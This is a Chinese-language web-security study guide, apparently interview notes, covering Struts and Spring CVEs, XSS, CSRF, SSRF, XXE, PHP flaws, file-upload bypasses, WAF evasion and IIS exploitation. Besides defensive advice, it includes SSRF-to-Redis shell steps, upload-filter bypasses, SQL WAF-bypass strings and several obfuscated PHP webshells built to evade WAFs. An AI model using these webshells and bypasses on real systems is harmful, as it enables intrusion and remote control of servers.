S2-028 - 使用具有损坏的URLDecoder实现的JRE可能会导致基于Struts 2的Web应用程序中的XSS漏洞。
S2-029 - 在标记属性中对原始用户输入进行评估时,强制双OGNL评估可能导致远程代码执行。
S2-030 - I18NInterceptor中可能的XSS漏洞
S2-031 - XSLTResult可用于解析任意样式表
S2-032 - 启用动态方法调用时,可以通过方法:前缀执行远程执行代码。
S2-033 - 使用REST插件时可以执行远程执行代码!启用动态方法调用时的运算符。
S2-034 - OGNL缓存中毒可能导致DoS漏洞
S2-035 - 动作名称清理容易出错
S2-036 - 在标签属性中对原始用户输入进行评估时,强制双OGNL评估可能导致远程代码执行(类似于S2-029)
S2-037 - 使用REST插件时可以执行远程执行代码。
S2-038 - 可以绕过令牌验证并执行CSRF攻击
S2-039 - Getter作为行动方法导致安全绕过
S2-040 - 使用现有默认操作方法输入验证绕过。
S2-041 - 使用URLValidator时可能发生DoS攻击
S2-042 - “公约”插件中可能的路径遍历
S2-043 - 在生产中使用Config Browser插件
S2-044 - 使用URLValidator时可能发生DoS攻击
S2-045 - 基于Jakarta Multipart解析器执行文件上载时可能的远程执行代码。
S2-046 - 基于Jakarta Multipart解析器执行文件上传时可能的RCE(类似于S2-045)
S2-047 - 使用URLValidator时可能发生DoS攻击(类似于S2-044)
S2-048 - Struts 2.3.x系列中Struts 1插件示例中的Struts Showcase应用程序中可能的RCE
S2-049 - DoS攻击可用于Spring安全操作
S2-050 - 使用URLValidator时的正则表达式拒绝服务(类似于S2-044和S2-047)
S2-051 - 远程攻击者可能在使用Struts REST插件时通过发送精心设计的xml请求来创建DoS攻击
S2-052 - 使用带有XStream处理程序的Struts REST插件处理XML有效负载时可能发生的远程代码执行攻击
S2-053 - 在Freemarker标记中使用无意表达而不是字符串文字时可能发生的远程执行代码攻击
S2-054 - 使用Struts REST插件时,可以使用精心设计的JSON请求执行DoS攻击
S2-055 - Jackson JSON库中的RCE漏洞
S2-056 - 使用Struts REST插件时,可以使用精心设计的XML请求执行DoS攻击
S2-057 - 当alwaysSelectFullNamespace为true(由用户或插件如Convention Plugin)时可能执行远程代码执行,然后:结果使用没有命名空间,同时,其上层包没有或通配符名称空间,类似于结果,当使用没有值和动作集的url标记时,它的上层包没有或通配符命名空间。

Spring

【面试】【Spring常见问题总结】【01】
【面试】【Spring常见问题总结】【02】
【面试】【Spring常见问题总结】【03】
【面试】【Spring常见问题总结】【04】
【面试】【Spring常见问题总结】【05】
【面试】【Spring常见问题总结】【06】
【面试】【Spring常见问题总结】【07】
【面试】【Spring常见问题总结】【08】
【面试】【Spring常见问题总结】【09】

https://blog.csdn.net/csacs/article/details/87951940

Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

Spring Security OAuth 2.0 – 2.0.9
Spring Security OAuth 1.0 – 1.0.5

Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

Spring Web Flow 2.4.0-2.4.4

pring Data Rest 远程命令执行漏洞(CVE-2017-8046)

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3

Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

Spring Framework 5.0 -5.0.4
Spring Framework 4.3 - 4.3.14

pring Data Commons 远程命令执行漏洞(CVE-2018-1273)

Spring Data Commons 1.13 - 1.13.10
Spring Data Commons 2.0 - 2.0.5

Hibernate

【面试】【Hibernate常见问题总结】【01】
【面试】【Hibernate常见问题总结】【02】

Hibernate框架中的HQL注入漏洞

Hibernate是一种ORMapping框架,内部可以使用原生SQL还有HQL语言进行SQL操作。

所谓的HQL注入,就是指在Hibernate中没有对数据进行有效的验证导致恶意数据进入应用程序中造成的。

目前来看,HQL注入除了万能密码、知道表名列名的情况下进行盲注外,我没有想到比较好的方法来进行漏洞利用,个人认为Hibernate中的注入比较鸡肋。

HQL注入与SQL注入类似

https://blog.csdn.net/u011721501/article/details/43918203?locationNum=13
https://www.cnblogs.com/-qing-/p/11650774.html

0x05 XSS漏洞

https://www.jianshu.com/p/4fcb4b411a66

XSS分类

  • 反射型XSS
  • 存储型XSS
  • DOM型XSS

反射型XSS

<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

在黑盒测试中,这种类型比较容易通过漏洞扫描器直接发现,我们只需要按照扫描结果进行相应的验证就可以了。

相对的在白盒审计中, 我们首先要寻找带参数的输出函数,接下来通过输出内容回溯到输入参数,观察是否过滤即可。

存储型XSS

<持久化> 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

和反射性XSS的即时响应相比,存储型XSS则需要先把利用代码保存在比如数据库或文件中,当web程序读取利用代码时再输出在页面上执行利用代码。但存储型XSS不用考虑绕过浏览器的过滤问题,屏蔽性也要好很多。

存储型XSS的白盒审计同样要寻找未过滤的输入点和未过滤的输出函数。

DOM型XSS

基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。

DOM型XSS就是基于DOM文档对象模型的。对于浏览器来说,DOM文档就是一份XML文档,当有了这个标准的技术之后,通过JavaScript就可以轻松的访问它们了。

这种XSS用的相对较少,并且由于其特殊性,常见的漏扫工具都无法检测出来

DOM型XSS的核心是运用DOM函数去执行访问xss平台的目的,

通过DOM函数改变HTML的结构,使浏览器加载页面的同时访问了xss平台,记录了使用者的cookie。

XSS发生的位置

  • 如果在GET型的URL中提交的参数值,在页面中显示。很有可能就存在XSS
  • 如果在POST表单中提交的参数值,在页面中显示。很有可能就存在XSS
  • JSON中也可能存在XSS
  • 如果在HTTP自定义头中提交的参数值,在页面中显示。很有可能就存在XSS

XSS自动化测试

  • 使用Burpsuite进行自动化探测。
    • send to Inturder(爆破模块)
    • payload加载字典
    • start attack(开始攻击)
  • kali自带的xsser是一款用于针对Web应用程序自动化挖掘、利用、报告xss漏洞的框架。

xss绕过http only

HttpOnly能够有效的阻止XSS跨站攻击偷取我们的Cookie

Http Trace攻击就可以将你的Header里的Cookie回显出来,利用Ajax或者flash就可以完成这种攻击;或者配置或者应用程序上可能Bypass,比如header头的泄漏

  • 通过js伪造登录表单,欺骗浏览器自动填入,由此获取浏览器记住的历史密码。
  • 通过<iframe>标签嵌入一个远程域,完全撑开后,以覆盖原有的页面。
  • 通过购买相似域名,构建相同的钓鱼页面,使受害者跳转至钓鱼站。

XSS漏洞防范

  • 对输入参数进行过滤、转义
  • 设置HTTP only
A.PHP直接输出html的,可以采用以下的方法进行过滤:

    1.htmlspecialchars函数 把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体
    2.htmlentities函数 把字符转换为 HTML 实体
    3.HTMLPurifier.auto.php插件
    4.RemoveXss函数

htmlspecialchars 只转义 & 、" 、' 、< 、> 这几个html代码,
而 htmlentities 却会转化所有的html代码,连同里面的它无法识别的中文字符也会转化。

B.PHP输出到JS代码中,或者开发Json API的,则需要前端在JS中进行过滤:

    1.尽量使用innerText(IE)和textContent(Firefox),也就是jQuery的text()来输出文本内容
    2.必须要用innerHTML等等函数,则需要做类似php的htmlspecialchars的过滤

C.其它的通用的补充性防御手段

    1.在输出html时,加上Content Security Policy的Http Header
    (作用:可以防止页面被XSS攻击时,嵌入第三方的脚本文件等)
    (缺陷:IE或低版本的浏览器可能不支持)
    2.在设置Cookie时,加上HttpOnly参数
    (作用:可以防止页面被XSS攻击时,Cookie信息被盗取,可兼容至IE6)
    (缺陷:网站本身的JS代码也无法操作Cookie,而且作用有限,只能保证Cookie的安全)
    3.在开发API时,检验请求的Referer参数
    (作用:可以在一定程度上防止CSRF攻击)
    (缺陷:IE或低版本的浏览器中,Referer参数可以被伪造)

waf与dom型xss

https://www.cnblogs.com/mysticbinary/p/12542695.html
https://www.cnblogs.com/Qiuzhiyu/p/11706023.html

waf不能防御DOM型XSS,DOM型XSS构造的URL参数不用发送到服务器端,可以达到绕过WAF、躲避服务端的检测效果。

客户端JavaScript可以访问浏览器的DOM文本对象模型是利用的前提,
当确认客户端代码中有DOM型XSS漏洞时,并且能诱使(钓鱼)一名用户访问自己构造的URL,就说明可以在受害者的客户端注入恶意脚本。
利用步骤和反射型很类似,但是唯一的区别就是,构造的URL参数不用发送到服务器端,可以达到绕过WAF、躲避服务端的检测效果。

防御DOM型XSS

检测的流程就是通过查看代码是否有document.write、eval、window之类能造成危害的地方,
然后通过回溯变量和函数的调用过程,查看用户是否能控制输入。
如果能控制输入,就看看是否能复现,能复现就说明存在DOM XSS,需要对输入的数据进行编码。

当业务需要必须得将用户输入的数据放入html,那就要尽量使用安全的方法,
比如innerText(),testContent()等。在使用框架时尽量使用框架自带的安全函数。

0x06 CSRF与SSRF

CSRF

攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你的名义发送邮件,发消息,盗用你的账号,甚至于购买商品,虚拟货币转账。。。

发生条件:

  1. 登录受信任网站A,并在本地生成Cookie。

  2. 在不登出A的情况下,访问危险网站B。

csrf如何防御:

1、在客户端页面增加伪随机数

Cookie Hashing(所有表单都包含同一个伪随机值):
这可能是最简单的解决方案了,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败了
这个方法个人觉得已经可以杜绝99%的CSRF攻击了,那还有1%呢….由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,这就另外的1%。一般的攻击者看到有需要算Hash值,基本都会放弃了,某些除外,所以如果需要100%的杜绝,这个不是最好的方法。

2、验证码

这个方案的思路是:每次的用户提交都需要用户在表单中填写一个图片上的随机字符串,厄….这个方案可以完全解决CSRF,但个人觉得在易用性方面似乎不是太好,还有听闻是验证码图片的使用涉及了一个被称为MHTML的Bug,可能在某些版本的微软IE中受影响。

3、One-Time Tokens(不同的表单包含一个不同的伪随机值)

  在实现One-Time Tokens时,需要注意一点:就是“并行会话的兼容”。如果用户在一个站点上同时打开了两个不同的表单,CSRF保护措施不应该影响到他对任何表单的提交。考虑一下如果每次表单被装入时站点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况:用户只能成功地提交他最后打开的表单,因为所有其他的表单都含有非法的伪随机值。必须小心操作以确保CSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。

SSRF

https://baijiahao.baidu.com/s?id=1593973193350471506&wfr=spider&for=pc

服务端请求伪造攻击,有的大型网站在web应用上提供了从其他服务器获取数据的功能。使用户指定的URL web应用获取图片,下载文件,读取文件内容。攻击者利用有缺陷的web应用作为代理攻击远程和内网的服务器(跳板)。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

形成原因

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器

利用手段及危害:

  1. 可对内网,服务器所在内网,受控服务器进行端口扫描,获取一些banner
  2. 对内网web应用进行指纹识别,通过访问默认文件实现。
  3. 攻击内外网web应用,主要是使用get参数就可以实现分攻击。
  4. 利用file协议读取本地文件。
  5. 攻击运行在内网或本地的有漏洞程序(比如溢出)

漏洞出现点

1)分享:通过URL地址分享网页内容

2)转码服务

3)在线翻译

4)图片加载与下载:通过URL地址加载或下载图片

5)图片、文章收藏功能

6)未公开的api实现以及其他调用URL的功能

7)从URL关键字中寻找

防御方法

  1. 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
  2. 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
  3. 限制请求的端口为http常用的端口,比如,80,443,8080,8090。
  4. 黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
  5. 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
  6. 禁止跳转

绕过方法

1、@

http://abc@127.0.0.1

2、添加端口号

http://127.0.0.1:8080

3、短地址

http://dwz.cn/11SMa

4、可以指向任意ip的域名:xip.io

5、ip地址转换成进制来访问

115.239.210.26 = 16373751032

ssrf如何打内网的redis

进行内网探测

利用http协议对内网进行探测,探测整个内网的存活ip,和端口,如果要针对redis,那么这一步主要是找开启了6379端口的内网ip地址。

可利用bp或者脚本进行快速探测,由于回显的不同,脚本就需要按照回显的特征来写,那种回显是存在,哪种回显是不存在这样的ip或端口。

http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379

file协议读取文件

这个协议可以读取系统的一些存放密码的文件,比如说linux的/etc/passwd或者windows的C:/windows/win.ini 等,或者说ctf中的flag文件。

攻击redis

只要知道内网有开启6379的redis服务(或许是其他端口开放的此服务),那么就可以利用目标机进行攻击redis了。

第一步探测Redis我们已经完成了,那么第二部就是发送redis命令,将弹shell脚本写入/etc/crontab中,crontab就是linux下的一个定时执行事件的一个程序。

还有两个定时服务文件是 /var/spool/cron/root 和 /var/spool/cron/crontabs/root 。针对这三个路径的不同,如下会进行讲解。

方法一:通过header CRLF 注入

方法二:通过【curl命令】和【gopher协议】远程攻击内网redis

方法三:使用dict协议向Redis数据库写shell

具体方法利用访问查看https://www.cnblogs.com/-chenxs/p/11749367.html

post的ssrf攻击内网其他机器(无回显)

https://xz.aliyun.com/t/6373
https://xz.aliyun.com/t/6235#toc-9

ssrf如何确认(无回显)

https://xz.aliyun.com/t/6373

0x07 XXE漏洞

https://www.freebuf.com/articles/web/177979.html

何为XXE

简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。

怎样构建外部实体注入?

  • 方式一:直接通过DTD外部实体声明
  • 方式二:通过DTD文档引入外部DTD文档,再引入外部实体声明
  • 方式三:通过DTD外部实体声明引入外部实体声明

xxe常见场景是如pdf在线解析、word在线解析、定制协议,留言板等,跟逻辑设计有关而与语言无关

最好是不要让XML作为参数传输或整体结构可被用户篡改。如果一定要使用,至少要禁用DTD、Entity。

xxe危害 读取本地文件,执行系统命令,探测内网端口,攻击内网服务

探测内网端口的协议有gopher file dict,不同语言支持不同的协议,是具体情况而定 file http ftp是常用的

基础利用

通常攻击者会将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。换而言之,XXE是一种从本地到达各种服务的方法。此外,在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。

XXE危害

XXE危害1:读取任意文件

XXE危害2:执行系统命令

XXE危害3:探测内网端口

XXE危害4:攻击内网网站

XXE防御

方案一、使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);
 
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
 
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE<!ENTITY,或者,SYSTEMPUBLIC

客户端也可以有xxe攻击,有的网站会使用office打开docx进行解析 Java解析XML的常用三方库,如果不禁用DTD、Entity都会导致XXE漏洞:

javax.xml.stream.XMLStreamReader;

javax.xml.parsers.DocumentBuilderFactory;

0x08 PHP漏洞

针对PHP的网站主要存在下面几种攻击方式:
1、命令注入(Command Injection)
2、eval注入(Eval Injection)
3、客户端脚本攻击(Script Insertion)
4、跨网站脚本攻击(Cross Site Scripting, XSS)
5、SQL注入攻击(SQL injection)
6、跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)
7、Session 会话劫持(Session Hijacking)
8、Session 固定攻击(Session Fixation)
9、HTTP响应拆分攻击(HTTP Response Splitting)
10、文件上传漏洞(File Upload Attack)
11、目录穿越漏洞(Directory Traversal)
12、远程文件包含攻击(Remote Inclusion)
13、动态函数注入攻击(Dynamic Variable Evaluation)
14、URL攻击(URL attack)
15、表单提交欺骗攻击(Spoofed Form Submissions)
16、HTTP请求欺骗攻击(Spoofed HTTP Requests)

PHP漏洞详细介绍:https://www.cnblogs.com/agang-php/p/5783789.html

php版本特性

https://www.php.net/manual/zh/appendices.php

php安全特性

以下这些也是代码审计中的重要考点

  1. PHP变量覆盖漏洞https://www.cnblogs.com/xhds/p/12587249.html
  2. PHP弱类型漏洞https://www.cnblogs.com/xhds/p/12349189.html
  3. PHP中的is_numeric函数漏洞https://www.cnblogs.com/xhds/p/12312223.html
  4. PHP中的strcmp()函数漏洞https://www.cnblogs.com/xhds/p/12312055.html

php反序列化漏洞

漏洞触发条件

一般只能通过代码审计的方式挖掘该漏洞,寻找代码中unserialize()函数的变量可控,且PHP文件代码中存在可利用的类,同时类中具有魔术方法。

PHP魔术方法

__construct() 当一个对象创建时被调用
__destruct() 当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用
反序列化危害
  • XSS
  • 代码执行
  • 文件写入
  • 文件读取

http://luckyzmj.cn/posts/92124f05.html

0x09 WEB容器漏洞

https://juejin.im/post/5cac7a646fb9a06876101ed8
https://www.cnblogs.com/yzloo/p/10391078.html

信息泄露漏洞

信息泄露漏洞是由于Web服务器或应用程序没有正确处理一些特殊请求,泄露Web服务器的一些敏感信息,如用户名、密码、源代码、服务器信息、配置信息等。

造成信息泄露主要有以下三种原因:

–Web服务器配置存在问题,导致一些系统文件或者配置文件暴露在互联网中;

–Web服务器本身存在漏洞,在浏览器中输入一些特殊的字符,可以访问未授权的文件或者动态脚本文件源码;

–Web网站的程序编写存在问题,对用户提交请求没有进行适当的过滤,直接使用用户提交上来的数据。

文件解析漏洞

1.初始思路:如果网站禁止上传asp文件我们就上传iis可以解析的cer和asa文件
2.iis6.0:会解析此两类文件:/test.asp/test.jpg
                            test.asp;.jpg
3.iis7.5:解析此类情况:test.jpg/.php
        条件:php配置文件开启cgi.fix.pathinfo(php.ini)
4.apache:apache重要文件时在/etc/mime.types文件中写入了可以解析哪些文件和mime类型
            解析是由于apache特性从右向左解析。当apache添加addhandle application/x-httpd-php.php
                就可以解析php文件。修复是用sethandle然后加正则匹配
5.nginx:解析test.jpg/.php文件,低版本的可以%00.PHP进行解析攻击
                同样和apache一样是通过mime.types来识别文件
                也是当cgi.fix.pathinfo=1时开启文件修理路径修理功能
                在www.conf中加入security.limit_extensions=    没有指定特定格式就可以解析php

命令执行漏洞

1.iis6.0:命令执行漏洞编号CVE-2017-7269。在开启webdav服务的情况下可远程执行漏洞
            原理:iis6.0处理PROPFIND指令对url的长度没有检查和控制,导致memcpy对虚拟路径执行引发栈溢出。

目录遍历

1.nginx:目录遍历与apache一样同样是配置错误
        开启:/etc/nginx/sites-available/default中的location中加入autoindex on

任意上传文件漏洞

1.tomcat:修改/conf/web.xml中的readonly=false就可以用put方式创建jsp文件进行远程代码执行
2.还有IIS6.0 PUT漏洞

漏洞防御总结

限制上传文件类型
扩展名检测防止%00截断以及特殊字符绕过,对上传的图片文件进行2次渲染压缩
限制上传文件大小:配置web server 允许最大的post大小
将上传目录设置为静态资源目录,防止被解析为脚本
使用代理页面隐藏真是路径

0x10 代码审计

代码审计工具

Seay源代码审计工具

  1. 查看敏感函数追踪参数

  2. 全部通读一遍源码了解逻辑

  3. 按功能点审计追踪

审计常见漏洞

1.SQL注入漏洞

所有与数据库交互的地方都有可能存在SQL注入漏洞。

2.文件包含漏洞

include/include_once/require/require_once

3.XSS跨站漏洞

查看获取到字符串输入/输出是否进行处理

4.代码执行漏洞

PHP代码执行漏洞,常见的出现在危险函数上,过滤不严导致

eval/preg_replace/…

5.命令执行漏洞

命令执行漏洞,常见的出现在危险函数上,过滤不严导致

system/exec/…

6.逻辑错误漏洞

这类比较广,主要看的是程序员的对代码的理解能力,比如典型的变量覆盖

 foreach(Array(‘_GET’,’_POST’,’_COOKIE’) as $_request)
 {
  foreach($$_request as $_k => $_v) ${$_k} = _xxoo($_v);
 }

7.拒绝服务漏洞

exif_read_data/Glob/…

8.变量覆盖漏洞

变量覆盖主要在逻辑问题、相关敏感函数之间触发

parse_str/$$/mb_parse_str/…

9.任意文件读取

这种一般出现在文件读取过滤问题,或者代码执行之类

file_get_contents/readfile/..

10.任意文件下载

这种比较常见的也是过滤不严

11.任意文件删除
过滤不严,相关敏感函数

unlink/delete/session_destroy/..

12.任意文件上传

文件类型过滤不严,代码逻辑问题
注意move_uploaded_file

13.任意文件写入

文件写入过滤不严

file_put_contents/fwrite/..

14.畸形目录创建

常见出现在创建目录没有过滤,容易导致出现创建畸形目录,引发解析漏洞

rename/mkdir/..

15.COOKIE/SESSION欺骗漏洞

主要看登陆验证、权限验证处理方式,有时候,我们可以修改cookie,改变角色

16.越权操作漏洞

也是涉及到权限验证方面,很常见的,很多程序在修改自己密码的时候,sql语句后面的where=的值都是放在表单里面,我们可以修改其值,即可达到越权的效果。

0x11 文件上传

https://www.jianshu.com/p/1ccbab572974

前端验证

JS检查

一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。

  1. 直接删除代码中onsubmit事件中关于文件上传时验证上传文件的相关代码即可

  2. burp改包,由于是js验证,我们可以先将文件重命名为js允许的后缀名,在用burp发送数据包时候改成我们想要的后缀。

服务端验证

黑名单绕过

特殊后缀名

黑名单处理过滤了文件后缀,我们可以通过特殊可解析后缀进行绕过,使用php3,phtml等绕过。

.htaccess 绕过

如果黑名单没有限制 .htaccess,可以上传这个文件,文件中内容包含如下:

SetHandler application/x-httpd-php

这样所有的文件都会解析为php,接下来上传图片马即可

生成图片马的cmd命令
copy 1.jpg/b + 1.php/a 2.jpg
后缀大小写绕过

黑名单没有没有对限制的文件名大小写进行统一。

空格绕过

黑名单没有对文件中的空格进行处理,可在后缀名中加空格绕过。

用Burp抓包,在 filename 参数双引号内,文件名后面,加空格

filename="1.PHP "
点绕过

windows会对文件中的点进行自动去除,所以可以在文件名末尾加点绕过

::$DATA绕过

同windows特性,同样用Burp抓包 ,然在文件后缀名中加::$DATA绕过

路径拼接绕过

源代码中,没有对文件名末尾的点符号进行绕过,并且把处理过的文件名拼接到路径中。

可以构造文件名1.PHP. . (点+空格+点),经过处理后,文件名变成1.PHP.,即可绕过。

双写绕过

采用双写绕过,例如:1.pphphp

白名单绕过

MIME检查

我们burp抓包修改即可绕过,上传一个php文件,然后将 Content-type,改为合法格式,如图片类型的:image/gif

%00截断(GET)

代码中,文件路径采用字符串拼接的方式,因此可以利用%00截断绕过

用Burp抓包,在数据包第一行的url请求文件名后加上%00

抓包后的数据包第一行如下
POST /Pass-11/index.php?save_path=../upload/1.php%00

然后直接访问/upload/1.php即可

%00截断(POST)

通过post传进来的,在还是利用00截断,用Burp抓包,在二进制中找到文件名,在文件名后的位置的二进制数值进行修改为00,因为post不会像get对%00进行自动解码。

接下来访问上传的文件路径即可

文件内容检查

文件幻数检测

主要是检测文件内容开始处的文件幻数,比如图片类型的文件幻数如下,

要绕过jpg 文件幻数检测就要在文件开头写上下图的值:

FF D8 FF E0 00 10 4A 46 49 46

要绕过gif 文件幻数检测就要在文件开头写上下图的值

47 49 46 38 39 61

要绕过png 文件幻数检测就要在文件开头写上下面的值

89 50 4E 47

然后在文件幻数后面加上自己的一句话木马代码就行了

文件相关信息检测

图像文件相关信息检测常用的就是getimagesize()函数

只需要把文件头部分伪造好就ok 了,就是在幻数的基础上还加了一些文件信息

有点像下面的结构

GIF89a
(...some binary data for image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)

图片马绕过

copy normal.jpg /b + shell.php /a webshell.jpg
文件加载检测

一般是调用API 或函数去进行文件加载测试,常见的是图像渲染测试,甚至是进行二次渲染(过滤效果几乎最强)。

对渲染/加载测试的攻击方式是代码注入绕过,对二次渲染的攻击方式是攻击文件加载器自身。

对渲染/加载测试攻击

可以用图像处理软件对一张图片进行代码注入

用winhex 看数据可以分析出这类工具的原理是

在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区

对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的

二次渲染

imagecreatefromjpeg二次渲染它相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染在这个过程中非图像数据的部分直接就隔离开了

得去找图片经过GD库转化后没有改变的部分,再将未改变的部分修改为相应的php代码。

条件竞争

先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,然后不断尝试访问webshell。

0x12 绕过waf

waf注入绕过

可以参考前文 0x01 SQl注入 中的SQL注入绕过方法

大小写转换

使用简单,但是效果不好

例如:  and 1=2    可以使其变为 AnD 1=2

使用注释

使用简单,效果一般

union select 1,2,3,4, from admin

注释完的效果
/**/union/**/select/**/1,2,3,4 from admin
/**/un/**/io/**/n/**/sel/**/ec/**/t/**/1,2,3,4 from admin

第二种注释
/*!and*/ 1=2 效果显著  此处感叹号为"非"的意思,意思是感叹号后面的不注释

url编码

正常编码 ‘ 为%27

/ =%2f  *==%2a  %=%25

/**/==%252f%252a*/

url编码现在基本过不掉了

使用空字节

一些过滤器在处理输入时,如果碰到空字节就会停止处理

我们通常也会利用空字节进行绕过过滤器,如:

id=1 %00 and 1=2

利用嵌套剥离

有些过滤器会从用户的输入中进行剥离一些敏感的函数

那我们可以通过函数的嵌套进行绕过一次剥离

selselectect  剥离后  select 

总结编写绕过语句

利用注释
/*^ABC^*/

包含关键字
/*!/*!/*!union*/

变换提交方式
将get改成post或者cookie提交

/*!/*and*//*sdfsdgsfwef=swefs=sdgsewege*//*sfwewweqrwtewtdg*//*ssfsb=dsdfsfsog*/*/1=2
4月13日测试过狗可用  

通过非注释关键字加一些注释代替空格过waf

变换提交方式有的也可以过狗,但是必须支持post提交方式

sqlmap tamper 利用

tamper脚本使用方法:https://www.freebuf.com/sectool/179035.html

  • symboliclogical.py
  • space2mssqlhash.py
  • appendnullbyte.py

利用修改tamper绕过waf

waf免杀webshell思路

字符拼接加双 $ 符号

<?php
$a='ass';
$b='ert';
$funcName=$a.$b;
$x='funcName';
$$x($_REQUEST['a']);
?>

用函数强行分割

<?php
function a($a){
return $a;}
eval (a($_REQUEST)['a']);
?>

用类分割

<?php 
class User 
{
  public $name=' '; 
  function __destruct(){ 
    eval("$this->name"); 
  } 
} 
$user=new User; 
$user->name=' '.$_REQUEST['a']; 
?>

用反序列化分割

<?php 
class A{ 
  var $test = "demo"; 
  function __destruct(){ 
    @eval($this->test); 
  } 
} 
$test = $_POST['test']; 
$len = strlen($test)+1; 
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象 
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数 
?>

突破waf拦截菜刀连接

  • 可以使用最新版菜刀
  • 中国蚁剑客户端
  • 冰蝎客户端
  • 可以使用过狗菜刀+中转脚本
  • 修改菜刀工具,自定义菜刀工具指纹

上传绕过waf

可以参考前文 0x11 文件上传 中的文件上传绕过方法

上传突破禁止上传php文件

第一:文件包含

第二:双文件突破限制

第三:修改上传参数

提权过waf

通过程序读密码

通过waf绕过神器

利用exp读hash

将用户添加到远程桌面组,并且给目录降权

利用第三方软件提权

0x13 域渗透

域渗透总结 https://blog.csdn.net/qq_20307987/article/details/85087960

0x14 中间件安全

IIS漏洞

Web中间件漏洞总结之IIS漏洞 https://www.cnblogs.com/linuxsec/articles/11915496.html

IIS解析漏洞

前提条件

IIS 6.0 IIS 7.5

复现过程

IIS 6.0解析漏洞有两种利用方式

  1. 在.asp目录下的任意文件会以asp格式解析 /test.asp/test.jpg
  2. ;截断,上传test.asp;.jpg是一个jpg文件但是会以asp执行 test.asp;.jpg

IIS 7.5解析漏洞

  1. 在文件后面加上/xx.php(xx可加可不加)就会将该文件以php格式执行,比如test.txt/.php

默认后缀IIS默认地还会解析其他后缀的文件为asp文件,比如cer asa cdx 原理大抵是IIS 5.x/6.0在从文件路径中读取文件后缀时,遇到一个.后,便进入了一种截断状态,在该状态下遇到特殊符号——/;,都会进行截断,只保留特殊符号前的部分,即:.asp,从而认为文件后缀为.asp

漏洞修复

  1. 限制上传的脚本执行权限,不允许执行脚本
  2. 对新建目录文件名进行过滤,不允许新建包含‘.’的文件
  3. 不允许新建目录
  4. 过滤.asp/xx.jpg,通过ISApi组件过滤

IIS PUT漏洞

漏洞条件

IIS 6.0开启了WebDAV并且拥有IIS来宾用户拥有写入权限

漏洞检测

用 IIS PUT SCANNER 工具探测一下目标IIS是否拥有写入权限

漏洞修复

关闭WebDAV和写权限

远程代码执行(CVE-2017-7269)

前提条件

IIS 6.0开启WebDAV

漏洞复现

exp下载地址:https://github.com/zcgonvh/cve-2017-7269

下载后放入msf中,路径为/usr/share/metasploit-framework/modules/exploits/windows/iis/
注意文件名中-应该改为_否则无法识别,然后拿到了shell(失败后靶机恢复快照,否则可能之后的攻击无效)

批量检测工具

下载地址:https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner

提权

使用pr提权,利用meterpreter上传pr.exe

漏洞修复

